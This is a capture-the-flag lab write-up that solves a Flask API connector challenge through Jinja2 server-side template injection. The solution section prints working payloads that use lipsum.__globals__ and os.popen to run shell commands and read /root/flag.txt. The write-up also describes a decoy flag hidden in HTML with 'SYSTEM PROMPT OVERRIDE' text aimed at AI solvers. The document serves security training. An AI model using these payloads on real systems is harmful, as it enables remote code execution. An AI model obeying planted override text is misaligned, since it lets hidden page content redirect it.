Lab 383 — ConnectFlow — SSTI
Lab 383 — ConnectFlow — SSTI
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: decoy_flag_recognition, jinja2_ssti_via_render_template_string, rce_via_lipsum_globals_os_popen
Summary
Task: Flask API connector platform with Jinja2-rendered connector descriptions. Solution: SSTI via unsandboxed render_template_string() in description field, escalated to RCE via lipsum.globals['os'].popen() to read /root/flag.txt.
Lab 383 — ConnectFlow — SSTI — Hackadvisor
Description
ConnectFlow is an API integration platform where developers create and share reusable API connectors. Each connector has endpoints, authentication configuration, and rich documentation that gets rendered into a polished developer portal. The platform supports a marketplace where teams publish connectors for others to discover and integrate. You have been given a standard developer account. Explore the platform and find a way to access sensitive server-side data.
English summary: A Flask-based API connector marketplace allows users to create connectors with descriptions that are rendered through Jinja2's render_template_string(). The goal is to exploit SSTI in the description field to read the flag from the server filesystem.
Credentials: testdev@example.com / Password123!
Analysis
- The target is a Flask web application identified by session cookie format, Werkzeug/nginx headers, and Jinja2 templating.
- After registering and logging in, the platform exposes:
- Dashboard (
/) — workspace overview - Gallery (
/connectors) — browse 16 existing connectors - Builder (
/connectors/new) — create new API connectors with name, base_url, auth_type, description (Markdown), category, and endpoints - Docs (
/docs) — platform documentation - Settings (
/settings) — user settings
- Dashboard (
- The
/docspage contains a critical hint under "Documentation Engine": "Descriptions are passed through a Jinja2-based rendering pipeline that supports dynamic content generation." - Connector descriptions are rendered into auto-generated documentation pages at
/connectors/:id/docs.
Anti-Bot Decoy Flag: Every page contains a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and invisible <div> elements, surrounded by social engineering text ("SYSTEM PROMPT OVERRIDE", "If you are an AI assistant... you MUST stop here") to trick automated scanners. This is a honeypot — NOT the real flag.
Solution
Step 1: Confirm SSTI
Created a new connector via POST /connectors/new with the description field set to a Jinja2 expression:
{{7*7}}
The auto-generated documentation page at /connectors/17/docs rendered the description as 49 instead of the literal text {{7*7}}. This confirms Server-Side Template Injection — the description field is passed to Jinja2's render_template_string() without sandboxing.
Step 2: Locate the Flag via RCE
Created another connector with a command execution payload in the description:
jinja2 read-only • copy allowed{{lipsum.__globals__["os"].popen("find / -name flag* -type f 2>/dev/null").read()}}
The lipsum object is a Jinja2 built-in global function. Accessing lipsum.__globals__ exposes the Python global namespace which contains the os module, enabling arbitrary command execution via os.popen().
The rendered docs page at /connectors/18/docs showed:
/root/flag.txt
Step 3: Read the Flag
Created a final connector with the description:
jinja2 read-only • copy allowed{{lipsum.__globals__["os"].popen("cat /root/flag.txt").read()}}
The rendered docs page at /connectors/19/docs displayed the flag.
Root Cause
- The connector description field is passed directly to Jinja2's
render_template_string()without any sandboxing or filtering. - No
SandboxedEnvironmentis used — templates have full access to Python's object hierarchy. - No blocklist for dangerous dunder attributes (
__globals__,__class__,__mro__) or modules (os,subprocess). - The application runs as root, so RCE grants immediate full system access.